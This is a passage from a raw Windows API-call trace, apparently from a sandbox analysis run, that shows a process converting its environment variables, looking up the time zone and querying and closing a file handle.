lpWideCharStr="HOMEPATH=\\Users\\FD1HVy", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x5439e8 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\FD1HVy", cchWideChar=-1, lpMultiByteStr=0x5439e8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\FD1HVy", lpUsedDefaultChar=0x0) returned 23 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543b28 | out: hHeap=0x530000) returned 1 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\FD1HVy\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2b) returned 0x53f6c0 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\FD1HVy\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x53f6c0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\FD1HVy\\AppData\\Local", lpUsedDefaultChar=0x0) returned 43 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x53f650 | out: hHeap=0x530000) returned 1 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\NQDPDE", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x15) returned 0x543a68 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\NQDPDE", cchWideChar=-1, lpMultiByteStr=0x543a68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\NQDPDE", lpUsedDefaultChar=0x0) returned 21 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543c28 | out: hHeap=0x530000) returned 1 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x543948 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x543948, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543a48 | out: hHeap=0x530000) returned 1 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OneDrive=C:\\Users\\FD1HVy\\OneDrive", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x22) returned 0x541e70 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OneDrive=C:\\Users\\FD1HVy\\OneDrive", cchWideChar=-1, lpMultiByteStr=0x541e70, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneDrive=C:\\Users\\FD1HVy\\OneDrive", lpUsedDefaultChar=0x0) returned 34 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x541ea0 | out: hHeap=0x530000) returned 1 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe) returned 0x55cf80 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x55cf80, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cf50 | out: hHeap=0x530000) returned 1 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 193 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xc1) returned 0x550530 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", cchWideChar=-1, lpMultiByteStr=0x550530, cbMultiByte=193, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpUsedDefaultChar=0x0) returned 193 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550460 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3e) returned 0x5459a0 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x5459a0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545688 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1b) returned 0x550138 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x550138, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fd00 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1d) returned 0x54fe40 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x54fe40, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fdc8 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x55ffd8 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x55ffd8, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543a48 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x543a48, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543928 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x18) returned 0x543a88 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x543a88, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543c88 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1b) returned 0x54fd50 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x54fd50, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fd78 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x541ea0 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x541ea0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x541f00 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0034.341] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x29) returned 0x53f650 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x53f650, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0034.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x53f688 | out: hHeap=0x530000) returned 1 [0034.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1e) returned 0x550048 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x550048, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fff8 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 107 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6b) returned 0x550460 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", cchWideChar=-1, lpMultiByteStr=0x550460, cbMultiByte=107, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpUsedDefaultChar=0x0) returned 107 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d030 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x543928 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x543928, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543908 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xf) returned 0x55cfb0 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x55cfb0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cf68 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\WINDOWS", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x16) returned 0x543968 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\WINDOWS", cchWideChar=-1, lpMultiByteStr=0x543968, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\WINDOWS", lpUsedDefaultChar=0x0) returned 22 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5438e8 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\FD1HVy\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x541f00 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\FD1HVy\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x541f00, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\FD1HVy\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 40 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5420e0 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\FD1HVy\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x27) returned 0x5420e0 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\FD1HVy\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x5420e0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\FD1HVy\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 39 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x542140 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=NQDPDE", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543c28 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=NQDPDE", cchWideChar=-1, lpMultiByteStr=0x543c28, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=NQDPDE", lpUsedDefaultChar=0x0) returned 18 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543a28 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN_ROAMINGPROFILE=NQDPDE", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x21) returned 0x542140 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN_ROAMINGPROFILE=NQDPDE", cchWideChar=-1, lpMultiByteStr=0x542140, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN_ROAMINGPROFILE=NQDPDE", lpUsedDefaultChar=0x0) returned 33 [0034.342] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x541f60 | out: hHeap=0x530000) returned 1 [0034.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=FD1HVy", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0034.342] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x10) returned 0x55cf38 [0034.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=FD1HVy", cchWideChar=-1, lpMultiByteStr=0x55cf38, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=FD1HVy", lpUsedDefaultChar=0x0) returned 16 [0034.343] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cf20 | out: hHeap=0x530000) returned 1 [0034.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\FD1HVy", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0034.343] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1c) returned 0x54ff30 [0034.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\FD1HVy", cchWideChar=-1, lpMultiByteStr=0x54ff30, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\FD1HVy", lpUsedDefaultChar=0x0) returned 28 [0034.343] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5500e8 | out: hHeap=0x530000) returned 1 [0034.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\WINDOWS", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0034.343] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543b08 [0034.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\WINDOWS", cchWideChar=-1, lpMultiByteStr=0x543b08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\WINDOWS", lpUsedDefaultChar=0x0) returned 18 [0034.343] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543aa8 | out: hHeap=0x530000) returned 1 [0034.343] GetTimeZoneInformation (in: lpTimeZoneInformation=0xd8a590 | out: lpTimeZoneInformation=0xd8a590) returned 0x2 [0034.343] GetLastError () returned 0x0 [0034.343] SetLastError (dwErrCode=0x0) [0034.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Standard Time", cchWideChar=-1, lpMultiByteStr=0xd7c888, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x4f8ad0 | out: lpMultiByteStr="W. Europe Standard Time", lpUsedDefaultChar=0x4f8ad0) returned 24 [0034.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Daylight Time", cchWideChar=-1, lpMultiByteStr=0xd7c8c8, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x4f8ad0 | out: lpMultiByteStr="W. Europe Daylight Time", lpUsedDefaultChar=0x4f8ad0) returned 24 [0034.343] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.343] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.343] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.343] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.343] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.343] CloseHandle (hObject=0x10c) returned 1 [0034.343] GetLastError () returned 0x0 [0034.344] SetLastError (dwErrCode=0x0) [0034.344] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, 